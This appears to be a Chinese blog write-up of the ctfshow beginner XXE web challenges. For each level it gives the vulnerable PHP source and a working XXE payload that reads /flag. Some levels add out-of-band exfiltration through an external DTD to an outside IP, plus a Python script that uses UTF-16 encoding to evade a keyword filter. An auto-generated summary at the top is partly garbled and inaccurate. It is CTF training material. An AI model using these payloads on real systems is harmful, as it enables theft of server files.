ctfshow--web入门--XXE

ctfshow,web,入门,xxe · 浏览次数 : 7

小编点评

CTF XXE ctfshow web入门xxectfshowXXE **1. XXE注入** - 通过对 xml 文件进行解析,获取 xml 文档中的 entity 的值。 - 使用 `simplexml_import_dom()` 将 entity 解析为 PHP 变量。 - 通过 `ctfshow` 变量获取 XML 文档。 **2. 绕过验证** - 使用 `libxml_disable_entity_loader()` 设置 entity 加载选项为 `false`。 - 绕过 XML 语句中的 `!DOCTYPE` 和 `!ENTITY`标签。 **3. 构造 payload** - 通过正则表达式匹配 XML 文档以获取 target 的 URL。 - 使用 `requests.post()` 发送 POST 请求,将 payload 编码为 UTF-16 字符串。 **4. 绕过验证** - 绕过 XML 语句中的 `<` 和 `>`符号。 - 使用 `requests.post()` 发送 GET 请求,获取目标页面。 **5. 恶意代码** - 在 payload 中包含恶意代码,例如 `php://filter/read=convert.base64-encode/resource=/flag`。 - 当请求被处理时,恶意代码将被执行。

正文

ctfshow--web入门--XXE

web373

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);		//允许加载外部实体
$xmlfile = file_get_contents('php://input');		//使用php伪协议进行接收值,并进行文件读取
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);		//解析xml文档
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY hack SYSTEM "file:///flag">
]>
<user><ctfshow>&hack;</ctfshow></user>

web374

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这一关是无回显读取文件
采用oob进行XXE注入
在服务器上构造一个用于接受保存数据得页面get.php

<?php
$data=$_GET["file"];
$myfile=fopen("file.txt","w");
fwrite($myfile,$data);
fclose($myfile);
?>

构造remote.dtd外部DTD文件用于将数据赋值给get.php

<!ENTITY % all "<!ENTITY send SYSTEM 'http://101.200.161.174/get.php?file=%file'>">

最终发送的payload为

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这一关过滤了xml声明标签还有version关键字,把payload中的xml声明去掉即可

web376

同上

web377

源码

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里增加了对http关键字得过滤,可以采用编码得方式进行绕过。这里我在brup上直接编码发送没有成功,然后看了其他人得解法,用的python进行了utf-16得编码然后发包。至于为什么要这样我也不太清楚,有没有大佬知道为什么,指点一下小弟。

payload

import requests

url = 'http://55a6087a-6b0d-4475-82b4-2cb8b6ff97c1.challenge.ctf.show/'
data = """<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

web378

在这里插入图片描述
这一关和xxe-lab中很相似,直接抓包构造payload即可

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

参考文章

CTF XXE
ctfshow web入门xxe
ctfshowXXE

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

与ctfshow--web入门--XXE相似的内容:

ctfshow--web入门--XXE

# ctfshow--web入门--XXE ## web373 源码 ```php loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //解析xml文档 $creds = simplexml_import_dom($dom); $ctfshow =

ctfshow--web入门--文件上传

# ctfshow--web入门--文件上传 [TOC](目录标题) ## web151(前端校验) 题目中提示前端检验不可靠,应该对前端检验进行绕过 ![在这里插入图片描述](https://img-blog.csdnimg.cn/608e51750ded43f2aefc1c2a66a3e803.

ctfshow--web入门--SSRF

# ctfshow--web入门--SSRF ## web351 源码 ```php ``` 没有进行过滤 payload ``` url=http://127.0.0.1/flag.php ``` ## web352 源码 ```php hacker ``` parse_url()函数会解析url

CTF反序列化wp(ciscn,nss,ctfshowweb入门)

[CISCN 2023 华北]ez_date 题目:

ctfshow-超详细通关教程-web(1~8)

快捷目录 web1 web2 web3 web4 web5 web6 web7 web8 1.web签到题 打开网址后出现如下界面。 查看一下网站源码 将Y3Rmc2hvd3s1ZjkxNTc3Yy03MmRkLTRhYzItYTE1Yi1lOWRhMjk4MTQyNjl9解码即可得到flag 2.

利用pearcmd实现裸文件包含

title: 利用pearcmd实现裸文件包含 tags: [web,文件包含] categories: [CTF,web] 利用pearcmd实现裸文件包含 在 ctf 中,常常有这样一类题: 题目很简单,一般围绕一个 include 函数展开。 例: ctfshow 元旦水友赛 easy_inc

CTFshow-Crypto(1-5)

1密码学签到 自己倒序 在线网站倒序 文字倒序工具,在线文字倒序 (qqxiuzi.cn) python脚本 a = '}wohs.ftc{galf' print(a[::-1], end="")#end=""表示每一次print后都不换行 2crypto2 下载附件并解压 JSFuck编码 查资料